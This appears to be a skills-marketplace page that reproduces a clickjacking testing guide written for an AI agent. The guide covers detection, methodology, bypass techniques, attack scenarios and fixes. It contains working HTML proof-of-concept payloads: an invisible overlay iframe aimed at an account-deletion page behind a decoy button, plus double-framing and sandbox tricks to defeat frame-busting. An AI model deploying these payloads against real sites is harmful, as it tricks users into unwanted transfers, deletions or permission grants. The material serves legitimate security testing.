security-talent/bugskill-ai

clickjacking-testing

Clickjacking overlays a target page in a transparent or hidden iframe, tricking victims into clicking UI elements they cannot see.

查看源码

使用方法

  1. 复制安装命令,在自己的智能体环境安装前先检查源码包。
  2. 从原始文档核对所需工具、凭据和支持的宿主。
  3. 说明输入材料与期望交付物,并对照来源检查输出。
npx skills add https://github.com/security-talent/bugskill-ai --skill clickjacking-testing

开始前需了解

  • 安装不包含模型订阅、API 额度或访问文件的权限。
  • 仓库星数和安装量反映活跃情况,不等于独立质量或安全测试。
仓库原始内容

按源仓库内容呈现,保留标题、案例、代码、表格、链接以及原文引用的演示图片。

Clickjacking

What Is Broken and Why

Clickjacking (UI redressing) works by embedding a target application inside a transparent or partially-visible iframe on an attacker-controlled page. Victims see decoy UI elements but are actually interacting with the hidden target page underneath. Single-click, single-step actions are the most exploitable (fund transfers, account deletions, permission grants, one-click purchases). The vulnerability exists when a page can be framed, either because framing protection headers are absent or because deployed JavaScript frame-busting code is bypassable.

Key Signals

  • Missing X-Frame-Options header (DENY or SAMEORIGIN)
  • Missing Content-Security-Policy: frame-ancestors 'none' or frame-ancestors 'self'
  • Target page loads successfully in a test iframe
  • Frame-busting JavaScript present (top.location === self.location) but bypassable
  • State-changing one-click actions (confirm, approve, authorize, delete) on authenticated pages
  • Browser developer tools: Network tab shows page loaded as iframe sub-resource

Methodology

  1. Attempt to load the target page in an iframe using the PoC HTML below.
  2. Check response headers for X-Frame-Options and Content-Security-Policy: frame-ancestors.
  3. If the page loads in the iframe, confirm it is the authenticated/functional version.
  4. Identify high-impact one-click actions on the framed page.
  5. Construct a PoC with overlaid decoy buttons positioned over target action buttons.
  6. Test frame-busting bypass techniques if JavaScript protection is detected.
  7. Verify across browsers (Chrome, Firefox, Safari) as behavior differs.

Payloads & Tools

html
<!-- Basic detection PoC -->
<html>
  <head><title>Clickjacking detection</title></head>
  <body>
    <iframe src="TARGET/" width="800" height="600"></iframe>
  </body>
</html>

<!-- Full attack PoC — transparent overlay -->
<html>
<head>
<style>
  iframe {
    position: absolute;
    width: 800px;
    height: 600px;
    opacity: 0.0;  /* Set to 0.5 for testing, 0.0 for actual attack */
    z-index: 2;
  }
  .decoy {
    position: absolute;
    top: 340px;   /* Adjust to align with target button */
    left: 200px;
    z-index: 1;
    background: #ff0000;
    padding: 10px 20px;
    cursor: pointer;
  }
</style>
</head>
<body>
  <div class="decoy">Click here to win a prize!</div>
  <iframe src="TARGET/account/delete" scrolling="no"></iframe>
</body>
</html>

<!-- Double-framing to bypass parent.location frame-busting -->
<html>
<body>
  <iframe src="attacker-inner.html">
    <!-- attacker-inner.html contains iframe of TARGET/ -->
  </iframe>
</body>
</html>
<!-- attacker-inner.html: -->
<iframe src="TARGET/"></iframe>

<!-- Sandbox attribute to disable frame-busting JS -->
<iframe src="TARGET/" sandbox="allow-forms allow-scripts allow-same-origin"></iframe>
<!-- Note: omit allow-top-navigation to prevent frame-busting -->

<!-- Disable JS entirely (IE restricted zone) -->
<iframe src="TARGET/" security="restricted"></iframe>

<!-- Browser header check -->
curl -s -I TARGET/ | grep -i "x-frame-options\|frame-ancestors"

<!-- Burp Suite: identify clickjacking -->
<!-- Proxy -> HTTP History -> right-click response -> 'Check Clickjacking' (via extension) -->
<!-- Or: manually check Response headers for X-Frame-Options -->

Bypass Techniques

  • Double framing: Nest target within two iframes; parent.location assignment fails silently when attacker controls the middle frame
  • sandbox attribute: sandbox="allow-forms allow-scripts" without allow-top-navigation disables frame-busting navigation
  • HTML5 sandbox without allow-top-navigation: frame-busting top.location = self.location throws security exception, ignored
  • onBeforeUnload exploitation: Attacker page fires repeated navigation requests; victim's browser prompts "are you sure?" canceling frame-bust
  • Location variable redefinition (IE7/8, Safari 4): Override window.location as a non-writable property, breaking frame-busting assignment
  • XSS filter abuse: Inject the beginning of the frame-busting script into a URL parameter, inducing a false XSS positive that deactivates the script
  • designMode: Some browsers allow setting document to designMode, preventing frame-bust navigation
  • Drag-and-drop clickjacking: Multipart attack using browser drag-and-drop API instead of clicks

Exploitation Scenarios

Scenario 1 — Unauthorized Fund Transfer Setup: Banking transfer form is a single page with pre-filled amounts from URL parameters; no clickjacking protection. Trigger: Attacker crafts TARGET/transfer?amount=500&to=attacker-acct, embeds in transparent iframe with opacity 0.0, overlaid with "Confirm your free delivery" button. Impact: Victim clicks decoy button, unknowingly submits transfer; funds moved to attacker account.

Scenario 2 — Social Media Permission Grant Setup: OAuth permission grant page can be framed; one "Authorize" button present. Trigger: Attacker embeds transparent iframe of permission page over a "Play game" button on their site. Impact: Victim grants application full permission to their social media account without realizing.

Scenario 3 — Account Deletion via Double-Framing Setup: Account deletion page has frame-busting JavaScript (if (top != self) top.location = self.location). Trigger: Attacker uses double-framing to neutralize frame-bust; positions "Delete my account" button under a decoy. Impact: Victim's account deleted; frame-busting protection rendered ineffective.

False Positives

  • X-Frame-Options: SAMEORIGIN correctly deployed — page loads in iframe from same origin but not cross-origin (not exploitable from attacker site)
  • Content-Security-Policy: frame-ancestors 'self' properly preventing cross-origin framing
  • JavaScript frame-busting that actually works in the tested browser (test across all major browsers)
  • Target page requires form submission or multi-step interaction (single-click requirement not met)

Fix Patterns

  • Preferred: Content-Security-Policy: frame-ancestors 'none' (no framing at all) or frame-ancestors 'self' (same-origin only)
  • Legacy support: X-Frame-Options: DENY or X-Frame-Options: SAMEORIGIN (supported IE8+, Firefox 3.6.9+, Chrome 4.1+)
  • X-Frame-Options: ALLOW-FROM origin for specific trusted origins (not supported in Chrome/Safari — use CSP instead)
  • Do not rely solely on JavaScript frame-busting — all known JS techniques are bypassable
  • For high-value actions: require re-authentication or CSRF tokens that change per-page-load, reducing clickjacking payoff
  • Apply defense-in-depth: combine CSP frame-ancestors with SameSite=Strict cookies to require direct navigation for sensitive actions

Related Skills

Clickjacking is a user-assisted [[csrf]] variant: rather than forging a request invisibly, it tricks the victim into clicking a UI element that triggers the sensitive action. If the target page lacks SameSite protections and also lacks framing protection, both clickjacking and [[csrf]] may be independently exploitable. If the page can be framed and also reflects user input, an [[xss-reflected]] payload can be delivered inside the frame to capture interactions. [[cors-misconfig]] on a parent-framed page can be combined to read responses from the framed origin.

来自同一仓库

更多 Skills

全部 Skills